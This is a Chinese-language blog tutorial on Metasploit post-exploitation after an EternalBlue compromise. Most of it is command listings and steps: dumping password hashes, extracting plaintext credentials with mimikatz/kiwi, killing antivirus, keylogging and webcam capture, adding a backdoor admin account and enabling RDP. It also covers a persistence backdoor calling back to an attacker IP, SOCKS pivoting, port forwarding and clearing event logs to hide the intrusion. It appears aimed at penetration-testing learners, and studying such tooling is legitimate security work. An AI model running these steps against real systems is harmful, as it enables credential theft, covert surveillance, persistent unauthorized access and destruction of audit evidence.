Metasploit簡單使用——後滲透階段

戚源發表於2020-10-08

在上文中我們復現了永恆之藍漏洞,這裡我們學習一下利用msf簡單的後滲透階段的知識/

 

一、meterperter常用命令

sysinfo             #檢視目標主機系統資訊
run scraper         #檢視目標主機詳細資訊
run hashdump        #匯出密碼的雜湊
load kiwi           #載入mimikatz
ps                  #檢視目標主機程式資訊
pwd                 #檢視目標當前目錄(windows)
getlwd              #檢視目標當前目錄(Linux)
search -f *.jsp -d e:\                #搜尋E盤中所有以.jsp為字尾的檔案
download  e:\test.txt  /root          #將目標機的e:\test.txt檔案下載到/root目錄下
upload    /root/test.txt d:\test      #將/root/test.txt上傳到目標機的 d:\test\ 目錄下
getpid              #檢視當前Meterpreter Shell的程式PID
migrate 1384        #將當前Meterpreter Shell的程式遷移到PID為1384的程式上
idletime            #檢視主機執行時間
getuid              #檢視獲取的當前許可權
getsystem           #提權
run killav/run post/windows/manage/killav         #關閉防毒軟體
screenshot          #截圖
webcam_list         #檢視目標主機的攝像頭
webcam_snap         #拍照
webcam_stream       #開視訊
execute  引數  -f 可執行檔案   #執行可執行程式
run getgui -u hack -p 123    #建立hack使用者,密碼為123
run getgui -e                #開啟遠端桌面
keyscan_start                #開啟鍵盤記錄功能
keyscan_dump                 #顯示捕捉到的鍵盤記錄資訊
keyscan_stop                 #停止鍵盤記錄功能
uictl  disable  keyboard     #禁止目標使用鍵盤
uictl  enable   keyboard     #允許目標使用鍵盤
uictl  disable  mouse        #禁止目標使用滑鼠
uictl  enable   mouse        #允許目標使用滑鼠
load                         #使用擴充套件庫
run                     #使用擴充套件庫
 
run persistence -X -i 5 -p 8888 -r 192.168.1.114        #反彈時間間隔是5s 會自動連線192.168.1.114的4444埠,缺點是容易被防毒軟體查殺
portfwd add -l 3389 -r 192.168.11.13 -p 3389     #將192.168.11.13的3389埠轉發到本地的3389埠上,這裡的192.168.11.13是獲取許可權的主機的ip地址
clearev                       #清除日誌

 

 二、Post 後滲透模組

該模組主要用於在取得目標主機系統遠端控制權後,進行一系列的後滲透攻擊動作。

run post/windows/manage/migrate           #自動程式遷移
run post/windows/gather/checkvm           #檢視目標主機是否執行在虛擬機器上
run post/windows/manage/killav            #關閉防毒軟體
run post/windows/manage/enable_rdp        #開啟遠端桌面服務
run post/windows/manage/autoroute         #檢視路由資訊
run post/windows/gather/enum_logged_on_users    #列舉當前登入的使用者
run post/windows/gather/enum_applications       #列舉應用程式
run windows/gather/credentials/windows_autologin #抓取自動登入的使用者名稱和密碼
run windows/gather/smart_hashdump               #dump出所有使用者的hash

 

三、常用的命令

訪問檔案系統

Meterpreter支援非常多的檔案系統命令(基本跟Linux系統命令類似),一些常用命令如下:

cd:切換目標目錄;

cat:讀取檔案內容;

rm:刪除檔案;

edit:使用vim編輯檔案

ls:獲取當前目錄下的檔案;

mkdir:新建目錄;

rmdir:刪除目錄; 

 

上傳/下載檔案

download  file 命令可以幫助我們從目標系統中下載檔案

upload  file  命令則能夠向目標系統上傳檔案。

 

許可權提升

有的時候,你可能會發現自己的 Meterpreter 會話受到了使用者許可權的限制,而這將會嚴重影響你在目標系統中的活動。比如說,修改登錄檔、安裝後門或匯出密碼等活動都需要提升使用者許可權,而Meterpreter給我們提供了一個 getsystem 命令,它可以使用多種技術在目標系統中實現提權:

getuid  命令可以獲取當前使用者的資訊,可以看到,當我們使用 getsystem進行提權後,使用者身材為  NT AUTHORITY\SYSTEM ,這個也就是Windows的系統許可權。

注:執行getsystem命令後,會顯示錯誤,但是其實已經執行成功了!

 

獲取密碼(管理員許可權)

1. run hashdump

2. run windows/gather/smart_hashdump

3. 自己上傳mimikatz

4. load kiwi——creds all

5. load mimikatz:①32位系統直接載入模組 mimikatz_command -f sekurlsa::searchPasswords

                              ②64位系統先遷移meterpreter到64位的程式中,再載入模組

1、很多使用者習慣將計算機設定自動登入,可以使用  run windows/gather/credentials/windows_autologin 抓取自動登入的使用者名稱和密碼

 

 

 2、hashdump 模組可以從SAM資料庫中匯出本地使用者賬號,執行:run hashdump ,該命令的使用需要系統許可權

 

 

 還可以使用命令:run windows/gather/smart_hashdump  ,,該命令的使用需要系統許可權,該功能更強大,可以匯出域內所有使用者的hash

 

 

 3、我們還可以通過上傳mimikatz程式,然後執行mimikatz程式來獲取明文密碼。

 執行mimikatz必須System許可權

 我們先getsystem提權至系統許可權,然後執行  execute  -i  -f  mimikatz.exe ,進入mimikatz的互動介面。然後執行:

privilege::debug

sekurlsa::logonpasswords

4、載入kiwi模組,該模組的使用需要System許可權,load kiwi  檢視該kiwi模組的用法:help kiwi

 

 

5、或者執行MSF裡面自帶的 mimikatz 模組 ,該模組的使用需要System許可權。傳送門:MSF中mimikatz模組的使用

 

執行程式

使用  execute 命令在目標系統中執行應用程式。這個命令的使用方法如下:

execute  引數  -f 可執行檔案  

執行後它將執行所指定的命令。可選引數如下:

-f:指定可執行檔案

-H:建立一個隱藏程式

-a:傳遞給命令的引數

-i:  跟程式進行互動

-m:從記憶體中執行

-t: 使用當前偽造的執行緒令牌執行程式

-s: 在給定會話中執行程式

 

建立一個新賬號

先檢視目標主機有哪些使用者:run post/windows/gather/enum_logged_on_users

 

 接下來,我們可以在目標系統中建立一個新的使用者賬號:run getgui -u hack -p 123,這個命令會建立使用者,並把他新增到 Administrators 組中,這樣該使用者就擁有遠端桌面的許可權了。

 

 

 

 我們可以看到,這裡成功建立了使用者,但是新增到Administrators組中失敗了 。我們可以執行:shell ,進行cmd視窗手動將該使用者新增到administrators組中。

 

 

 

 

啟用遠端桌面

當我們新新增的使用者已經擁有遠端桌面之後,我們就可以使用這個賬號憑證來開啟遠端桌面會話了。

 首先,我們需要確保目標Windows裝置開啟了遠端桌面功能(需要開啟多個服務),不過我們的 getgui 指令碼可以幫我們搞定。我們可以使用-e引數確保目標裝置開啟了遠端桌面功能(重啟之後同樣會自動開啟),我們輸入: run getgui -e  或者  run post/windows/manage/enable_rdp

 在開啟遠端桌面會話之前,我們還需要使用“idletime”命令檢查遠端使用者的空閒時長: idletime

 

 

 

 

程式遷移

Meterpreter 既可以單獨執行,也可以與其他程式進行繫結。因此,我們可以讓Meterpreter與類似explorer.exe這樣的程式進行繫結,並以此來實現持久化。

在下面的例子中,我們會將Meterpreter跟 winlogon.exe 繫結,並在登入程式中捕獲鍵盤記錄,以獲得使用者的密碼。

首先,我們需要使用: ps  命令檢視目標裝置中執行的程式:

 

 使用:migrate  目標程式ID 命令來繫結目標程式id,這裡繫結目標pid的時候,經常會斷了 shell。程式遷移後會自動關閉原來程式,沒有關閉可使用  kill  pid  命令關閉程式。或者使用自動遷移程式(run post/windows/manage/migrate)命令,系統會自動尋找合適的程式然後遷移。

 

 繫結完成之後,我們就可以開始捕獲鍵盤資料了。

 

 

生成持續性後門

因為 meterpreter 是基於記憶體DLL建立的連線,所以,只要目標主機關機,我們的連線就會斷。總不可能我們每次想連線的時候,每次都去攻擊,然後再利用 meterpreter 建立連線。所以,我們得在目標主機系統內留下一個持續性的後門,只要目標主機開機了,我們就可以連線到該主機。

建立持續性後門有兩種方法,一種是通過啟動項啟動(persistence) ,一種是通過 服務啟動(metsvc)

 

啟動項啟動

啟動項啟動的話,我們先生成一個後門工具,傳送門——> 用MSF生成一個後門木馬

然後放到windows的啟動目錄中:

C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

這樣這個後門每次開機就都能啟動了,然後我們只要相連就監聽相應的埠就行了。

 

服務啟動

通過服務啟動,我們可以執行命令 

run persistence -X -i 5 -p 8888 -r 192.168.1.114  #反彈時間間隔是5s 會自動連線192.168.1.114的4444埠,缺點是容易被防毒軟體查殺
 
#然後它就在目標機新建了這個檔案:C:\Windows\TEMP\CJzhFlNOWa.vbs ,並把該服務加入了登錄檔中,只要開機就會啟

 

設定Socks代理

這裡socks模組只是將代理設定為本地的1080埠,即通過proxychains的流量都轉給本地的1080埠,又因為這是MSF起的監聽埠。所以我們需要新增一個路由,這樣MSF監聽的1080埠就可以到達內網了。

MSF中有三個代理模組,分別是socks4a、socks5、socks_unc。我們一般用 socks4a和socks5進行代理。socks5可以設定使用者名稱和密碼。這裡執行代理後,有時候MSF不會監聽埠(有可能是個bug,試了好多次都有這種情況),所以也就導致代理失敗。

#使用socks4a代理
use auxiliary/server/socks5
run
 
#使用socks5代理
use auxiliary/server/socks5
set USERNAME root
set PASSWORD Password@
run
 
#然後開啟/etc/proxychains.conf,加入下面一行
socks5 0.0.0.0 1080 root Password@
 
#然後新增路由
route add 0.0.0.0 0.0.0.0 1
 
#然後就可以使用curl了
proxychains nmap -p 21 -Pn -sT x.x.x.x     #在開啟其他程式前加上proxychains

 

portfwd埠轉發

 

portfwd add -l 3389 -r 192.168.1.114 -p 3389     #將192.168.1.114的3389埠轉發到本地的3389埠上,這裡的192.168.1.114是獲取許可權的主機的ip地址

portfwd 是meterpreter提供的一種基本的埠轉發。porfwd可以反彈單個埠到本地,並且監聽。

然後我們只要訪問本地的3389埠就可以連線到目標主機的3389埠了

rdesktop 127.0.0.1:3389

 

清除事件日誌

完成攻擊操作之後,千萬別忘了“打掃戰場”。我們的所有操作都會被記錄在目標系統的日誌檔案之中,因此我們需要在完成攻擊之後使用命令  clearev  命令來清除事件日誌:

 

匯入並執行PowerShell指令碼

load powershell            #載入powershell功能
powershell_import /root/PowerView.ps1      #匯入powershell指令碼,提前將該powershell指令碼放到指定目錄
powershell_execute Get-NetDomain     #執行該指令碼下的功能模組Get-domain,該模組用於獲取域資訊,一個指令碼下通常有多個功能模組
powershell_execute Invoke-UserHunter  #該功能模組用於定位域管理員登入的主機
powershell_execute Get-NetForest      #該模組用於定位域資訊

如果powershell指令碼是用於域內資訊收集的,則獲取到的許可權使用者需要是域使用者.

 

相關文章